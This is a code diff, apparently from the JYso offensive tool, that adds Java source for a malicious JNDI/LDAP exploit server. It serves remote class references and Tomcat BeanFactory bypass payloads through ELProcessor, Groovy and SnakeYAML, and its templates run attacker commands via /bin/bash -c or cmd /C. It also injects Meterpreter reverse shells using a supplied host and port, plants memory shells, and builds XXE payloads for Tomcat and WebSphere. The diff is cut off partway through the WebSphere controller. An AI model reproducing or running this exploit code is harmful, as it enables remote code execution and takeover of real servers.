View File
@@ -0,0 +1,42 @@
package com.qi4l.JYso;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.ObjectPayload;
import org.apache.commons.collections4.map.CaseInsensitiveMap;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import static com.qi4l.JYso.gadgets.Config.Config.logo;
public class Starter {
// 用于存储所有的ObjectPayload类
public static CaseInsensitiveMap<String,Class<? extends ObjectPayload>> caseInsensitiveObjectPayloadMap = new CaseInsensitiveMap();
static {
for (Class<? extends ObjectPayload> clazz : ObjectPayload.Utils.getPayloadClasses()) {
caseInsensitiveObjectPayloadMap.put(clazz.getName(), clazz);
}
}
public static boolean JYsoMode = false;
public static void main(String[] args) throws Exception {
logo();
// 如果参数中包含-j,则启动LDAP、HTTP、RMI服务
if (args.length > 0 && args[0].equals("-j")) {
Config.applyCmdArgs(args);
if (Config.TLSProxy) {
TLSProxy.start();
}
LdapServer.start();
HTTPServer.start();
RMIServer.start();
}
// 如果参数中包含-y,则启动ysoserial
if (args.length > 0 && args[0].equals("-y")) {
JYsoMode = true;
ysoserial(args);
}
}
}
+120
View File
@@ -0,0 +1,120 @@
package com.qi4l.JYso;
import com.qi4l.JYso.gadgets.Config.Config;
import javax.net.ssl.*;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.security.KeyStore;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import static org.fusesource.jansi.Ansi.ansi;
public class TLSProxy {
private final String localAddr;
private final String remoteAddr;
private final String certFile;
private final String keyFile;
public TLSProxy(String localAddr, String remoteAddr, String certFile, String keyFile) {
this.localAddr = localAddr;
this.remoteAddr = remoteAddr;
this.certFile = certFile;
this.keyFile = keyFile;
}
public static void start() {
System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >>" + Config.TLSProxy + "..."));
new TLSProxy(Config.ip + ":" + Config.TLSProxy, Config.ip + ":" + Config.ldapPort, Config.certFile, Config.keyFile).run();
}
public void run() {
SSLServerSocketFactory sslServerSocketFactory = createSSLServerSocketFactory();
if (sslServerSocketFactory == null) {
System.err.println("Failed to create SSLServerSocketFactory");
return;
}
try (SSLServerSocket serverSocket = (SSLServerSocket) sslServerSocketFactory.createServerSocket()) {
String[] addressParts = localAddr.split(":");
serverSocket.bind(new InetSocketAddress(addressParts[0], Integer.parseInt(addressParts[1])));
System.out.println("TLS Proxy started on " + localAddr);
ExecutorService executorService = Executors.newCachedThreadPool();
while (true) {
SSLSocket clientSocket = (SSLSocket) serverSocket.accept();
System.out.println("New connection from " + clientSocket.getRemoteSocketAddress());
executorService.submit(() -> handleConnection(clientSocket));
}
} catch (IOException e) {
e.printStackTrace();
}
}
private SSLServerSocketFactory createSSLServerSocketFactory() {
try {
SSLContext sslContext = SSLContext.getInstance("TLS");
KeyManagerFactory keyManagerFactory = KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm());
KeyStore keyStore = KeyStore.getInstance("JKS");
try (InputStream keyInput = new FileInputStream(certFile)) {
keyStore.load(keyInput, "".toCharArray());
}
keyManagerFactory.init(keyStore, "".toCharArray());
sslContext.init(keyManagerFactory.getKeyManagers(), null, null);
return sslContext.getServerSocketFactory();
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
private void handleConnection(SSLSocket clientSocket) {
try (Socket remoteSocket = new Socket(remoteAddr, getPort(remoteAddr))) {
System.out.println("Connected to " + remoteAddr);
ExecutorService executorService = Executors.newCachedThreadPool();
executorService.submit(() -> {
try {
forwardData(clientSocket.getInputStream(), remoteSocket.getOutputStream());
} catch (IOException e) {
throw new RuntimeException(e);
}
});
executorService.submit(() -> {
try {
forwardData(remoteSocket.getInputStream(), clientSocket.getOutputStream());
} catch (IOException e) {
throw new RuntimeException(e);
}
});
} catch (IOException e) {
e.printStackTrace();
}
}
private void forwardData(InputStream input, OutputStream output) {
try {
byte[] buffer = new byte[8192];
int bytesRead;
while ((bytesRead = input.read(buffer)) != -1) {
output.write(buffer, 0, bytesRead);
output.flush();
}
} catch (IOException e) {
e.printStackTrace();
}
}
private int getPort(String address) {
return Integer.parseInt(address.substring(address.lastIndexOf(':') + 1));
}
}
@@ -0,0 +1,133 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.InjShell;
import com.qi4l.JYso.gadgets.utils.Util;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import com.qi4l.JYso.template.CommandTemplate;
import com.qi4l.JYso.template.echoStatic.Meterpreter;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.fusesource.jansi.Ansi;
import java.net.URL;
import java.util.Base64;
import static org.fusesource.jansi.Ansi.ansi;
@LdapMapping(uri = {"/basic"})
public class BasicController implements LdapController {
private static String payloadType;
//最后的反斜杠不能少
private final String codebase = Config.codeBase;
private String[] params;
private GadgetType gadgetType;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
try {
Entry e = new Entry(base);
String className = "";
if (payloadType.contains("E-")) {
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1));
className = EchoClass.getName();
}
if (payloadType.contains("M-")) {
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
InjShell.init(params);
className = Gadgets.createClassB(ClassName1);
}
if (payloadType.contains("command")) {
CommandTemplate commandTemplate = new CommandTemplate(params[0]);
commandTemplate.cache();
className = commandTemplate.getClassName();
}
if (payloadType.contains("msf")) {
className = Meterpreter.class.getName();
}
String className1 = className.replaceAll("\\.", "/");
URL turl = new URL(new URL(this.codebase), className1 + ".class");
System.out.println(Ansi.ansi().fgBrightBlue().a(" redirecting to " + turl).reset());
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaCodeBase", this.codebase);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", className);
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
System.err.println("Error while generating or serializing payload");
er.printStackTrace();
}
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI Remote Refenrence Links ");
try {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
payloadType = base.substring(fistIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex != -1) {
if (thirdIndex < 0) thirdIndex = base.length();
try {
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Util.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = new String[]{cmd};
}
if (gadgetType == GadgetType.shell) {
String cmd1 = Util.getCmdFromBase(base);
byte[] decodedBytes = Base64.getDecoder().decode(cmd1);
String cmd = new String(decodedBytes);
String[] cmdArray = cmd.split(" ");
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = cmdArray;
}
if (gadgetType == GadgetType.msf) {
String[] results1 = Util.getIPAndPortFromBase(base);
Config.rhost = results1[0];
Config.rport = results1[1];
System.out.println("[+] RemotHost: " + results1[0]);
System.out.println("[+] RemotPort: " + results1[1]);
params = results1;
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params >> " + base);
}
}
}
@@ -0,0 +1,166 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.InjShell;
import com.qi4l.JYso.gadgets.utils.Util;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef;
import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
import java.io.IOException;
import java.lang.reflect.Field;
import static org.fusesource.jansi.Ansi.ansi;
@LdapMapping(uri = {"/ELProcessor"})
public class ELProcessorController implements LdapController {
private String payloadType;
private String[] params;
private GadgetType gadgetType;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
String jscode = null;
try {
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String");
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
TomcatBypassHelper helper = new TomcatBypassHelper();
if (payloadType.contains("E-")) {
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1));
jscode = InjShell.injectClass(EchoClass);
}
if (payloadType.contains("M-")) {
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
InjShell.init(params);
jscode = Gadgets.createClassT(ClassName1);
}
if (payloadType.contains("command")) {
jscode = helper.getExecCode(params[0]);
}
if (payloadType.contains("meterpreter")) {
jscode = helper.injectMeterpreter();
}
String payloadTemplate = "{" +
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
".newInstance().getEngineByName(\"JavaScript\")" +
".eval(\"{replacement}\")" +
"}";
String finalPayload = payloadTemplate.replace("{replacement}", jscode);
ref.add(new StringRefAddr("x", finalPayload));
e.addAttribute("javaSerializedData", Util.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
System.err.println("Error while generating or serializing payload");
er.printStackTrace();
}
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI LDAP Local Refenrence Links + ELProcessor");
try {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
payloadType = base.substring(fistIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex != -1) {
if (thirdIndex < 0) thirdIndex = base.length();
try {
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Util.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = new String[]{cmd};
}
if (gadgetType == GadgetType.shell) {
String cmd1 = Util.getCmdFromBase(base);
byte[] decodedBytes = Util.base64Decode(cmd1);
String cmd = new String(decodedBytes);
String[] cmdArray = cmd.split(" ");
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = cmdArray;
}
if (gadgetType == GadgetType.msf) {
String[] results1 = Util.getIPAndPortFromBase(base);
Config.rhost = results1[0];
Config.rport = results1[1];
System.out.println("[+] RemotHost: " + results1[0]);
System.out.println("[+] RemotPort: " + results1[1]);
params = results1;
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
private class TomcatBypassHelper {
public String injectMeterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Class<?> ctClazz = Class.forName("com.qi4l.JYso.template.Meterpreter");
Field WinClassName = ctClazz.getDeclaredField("host");
WinClassName.setAccessible(true);
WinClassName.set(ctClazz, params[0]);
Field WinclassBody = ctClazz.getDeclaredField("port");
WinclassBody.setAccessible(true);
WinclassBody.set(ctClazz, params[1]);
return InjShell.injectClass(ctClazz);
}
public String getExecCode(String cmd) throws IOException {
String code = "var strs=new Array(3);\n" +
" if(java.io.File.separator.equals('/')){\n" +
" strs[0]='/bin/bash';\n" +
" strs[1]='-c';\n" +
" strs[2]='" + cmd + "';\n" +
" }else{\n" +
" strs[0]='cmd';\n" +
" strs[1]='/C';\n" +
" strs[2]='" + cmd + "';\n" +
" }\n" +
" java.lang.Runtime.getRuntime().exec(strs);";
return code;
}
}
}
@@ -0,0 +1,82 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.PayloadType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Util;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef;
import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
import static org.fusesource.jansi.Ansi.ansi;
/*
* Requires:
* - Tomcat and Groovy in classpath
*
* @author https://twitter.com/orange_8361 and https://github.com/welk1n
*
* Groovy 语法参考:
* - https://xz.aliyun.com/t/8231#toc-7
* - https://my.oschina.net/jjyuangu/blog/1815945
* - https://stackoverflow.com/questions/4689240/detecting-the-platform-window-or-linux-by-groovy-grails
*/
@LdapMapping(uri = {"/groovy"})
public class GroovyController implements LdapController {
private PayloadType type;
private String[] params;
private String template = " if (System.properties['os.name'].toLowerCase().contains('windows')) {\n" +
" ['cmd','/C', '${cmd}'].execute();\n" +
" } else {\n" +
" ['/bin/sh','-c', '${cmd}'].execute();\n" +
" }";
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String"); //could be any
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=evaluate"));
ref.add(new StringRefAddr("x", template.replace("${cmd}", params[0]).replace("${cmd}", params[0])));
e.addAttribute("javaSerializedData", Util.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI LDAP Local Refenrence Links + Groovy");
try {
int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
String payloadType = base.substring(firstIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
if (payloadType.equalsIgnoreCase("command")) {
type = PayloadType.valueOf("command");
//System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Paylaod >> |@" + type));
} else {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType >> " + payloadType);
}
String cmd = Util.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = new String[]{cmd};
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params >> " + base);
}
}
}
@@ -0,0 +1,13 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
public interface LdapController {
void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception;
void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException;
}
@@ -0,0 +1,12 @@
package com.qi4l.JYso.controllers;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.TYPE)
public @interface LdapMapping {
String[] uri();
}
@@ -0,0 +1,74 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Util;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef;
import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
@LdapMapping(uri = {"/memoryxxe"})
public class MemoryXXEController implements LdapController{
private String payloadType;
private String[] params;
private GadgetType gadgetType;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String");
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", params[0]));
e.addAttribute("javaSerializedData", Util.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
System.out.println("- JNDI LDAP Local Refenrence Links + MemoryXXE");
try {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
payloadType = base.substring(fistIndex + 1, secondIndex);
//System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod:" + payloadType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex != -1) {
if (thirdIndex < 0) thirdIndex = base.length();
try {
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Util.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset());
params = new String[]{cmd};
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
}
@@ -0,0 +1,19 @@
package com.qi4l.JYso.controllers;
import javax.naming.RefAddr;
import java.util.Properties;
//this is a stub class required by WebSphere2 ldap handler
public class PropertiesRefAddr extends RefAddr {
private static final long serialVersionUID = 288055886942232156L;
private Properties props;
public PropertiesRefAddr(String addrType, Properties props) {
super(addrType);
this.props = props;
}
public Object getContent() {
return this.props;
}
}
@@ -0,0 +1,118 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.enumtypes.PayloadType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.ObjectPayload;
import com.qi4l.JYso.gadgets.utils.Serializer;
import com.qi4l.JYso.gadgets.utils.Util;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.commons.cli.CommandLine;
import org.fusesource.jansi.Ansi;
import java.io.ByteArrayOutputStream;
import java.util.Base64;
import static com.qi4l.JYso.gadgets.Config.Config.BCEL1;
import static org.fusesource.jansi.Ansi.ansi;
@LdapMapping(uri = {"/deserialization"})
public class SerializedDataController implements LdapController {
public static String gadgetType;
public static String cmd11;
public static GadgetType gadgetType1;
public static CommandLine cmdLine;
private PayloadType payloadType;
private String params;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
Entry e = new Entry(base);
byte[] bytes;
try {
final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass(gadgetType);
ObjectPayload payload = payloadClass.newInstance();
Object object = payload.getObject(params);
if (SerializedDataController.gadgetType.equals("JRE8u20")) {
bytes = (byte[]) object;
} else {
ByteArrayOutputStream out = new ByteArrayOutputStream();
bytes = Serializer.serialize(object, out);
}
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaSerializedData", bytes);
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
System.err.println("Error while generating or serializing payload");
er.printStackTrace();
}
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException {
System.out.println("- JNDI Deserialization Links ");
try {
base = base.replace('\\', '/');
int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1);
try {
gadgetType = base.substring(firstIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Gaddget: " + gadgetType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedGadgetTypeException("UnSupportGaddgetType >> " + base.substring(firstIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
int fourIndex = base.indexOf("/", thirdIndex + 1);
String Ty1 = base.substring(thirdIndex + 1, fourIndex);
gadgetType1 = GadgetType.valueOf(Ty1.toLowerCase());
// 若第三个斜杠不存在,则把其设置成为字符串的长度
if (thirdIndex < 0) thirdIndex = base.length();
try {
// 将类型值设为从第二个斜杠后的字符串到第三个斜杠前(不包括第三个斜杠)所表示的字符串转换为 PayloadType 枚举类型
String Ty3 = base.substring(secondIndex + 1, thirdIndex);
payloadType = PayloadType.valueOf(Ty3.toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
}
if (payloadType == PayloadType.sethttp) {
params = BCEL1;
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + BCEL1).reset());
}
if (payloadType == PayloadType.command) {
if (gadgetType1 == GadgetType.base64) {
cmd11 = Util.getCmdFromBase(base);
}
if (gadgetType1 == GadgetType.base64Two) {
String encodedString = Util.getCmdFromBase(base);
byte[] decodedBytes = Base64.getDecoder().decode(encodedString);
String T1 = new String(decodedBytes);
byte[] decodedBytes1 = Base64.getDecoder().decode(T1);
cmd11 = new String(decodedBytes1);
}
params = cmd11;
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd11).reset());
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
if (e instanceof UnSupportedGadgetTypeException) throw (UnSupportedGadgetTypeException) e;
throw new IncorrectParamsException("Incorrect params >> " + base);
}
}
}
@@ -0,0 +1,80 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Util;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef;
import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
@LdapMapping(uri = {"/snakeyaml"})
public class SnakeYamlController implements LdapController {
private String payloadType;
private String[] params;
private GadgetType gadgetType;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String");
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
String yaml = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"" + params[0] + "\"]\n" +
" ]]\n" +
"]";
ref.add(new StringRefAddr("forceString", "a=load"));
ref.add(new StringRefAddr("a", yaml));
e.addAttribute("javaSerializedData", Util.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
System.out.println("- JNDI LDAP Local Refenrence Links + SnakeYaml");
try {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
payloadType = base.substring(fistIndex + 1, secondIndex);
//System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod:" + payloadType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex != -1) {
if (thirdIndex < 0) thirdIndex = base.length();
try {
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Util.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset());
params = new String[]{cmd};
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
}
@@ -0,0 +1,136 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.PayloadType;
import com.qi4l.JYso.enumtypes.WebsphereActionType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Util;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.util.Properties;
import static org.fusesource.jansi.Ansi.ansi;
/*
* Requires:
* - websphere v6-9 libraries in the classpath
*/
@LdapMapping(uri = {"/websphere"})
public class WebsphereController implements LdapController {
private WebsphereActionType actionType;
private String localJarPath;
private String injectUrl;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Sending LDAP ResourceRef result for |@" + base));
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String"); //could be any
Reference ref;
if (actionType == WebsphereActionType.rce) {
//prepare a payload that leverages arbitrary local classloading in com.ibm.ws.client.applicationclient.ClientJMSFactory
ref = new Reference("ExportObject",
"com.ibm.ws.client.applicationclient.ClientJ2CCFFactory", null);
Properties refProps = new Properties();
refProps.put("com.ibm.ws.client.classpath", localJarPath);
refProps.put("com.ibm.ws.client.classname", "xExportObject");
// ref.add(new com.ibm.websphere.client.factory.jdbc.PropertiesRefAddrropertiesRefAddr("JMSProperties", refProps));
} else {
//prepare payload that exploits XXE in com.ibm.ws.webservices.engine.client.ServiceFactory
ref = new Reference("ExploitObject",
"com.ibm.ws.webservices.engine.client.ServiceFactory", null);
ref.add(new StringRefAddr("WSDL location", injectUrl));
ref.add(new StringRefAddr("service namespace", "xxx"));
ref.add(new StringRefAddr("service local part", "yyy"));
}
e.addAttribute("javaSerializedData", Util.serialize(ref));
result.sendSearchEntry(e);
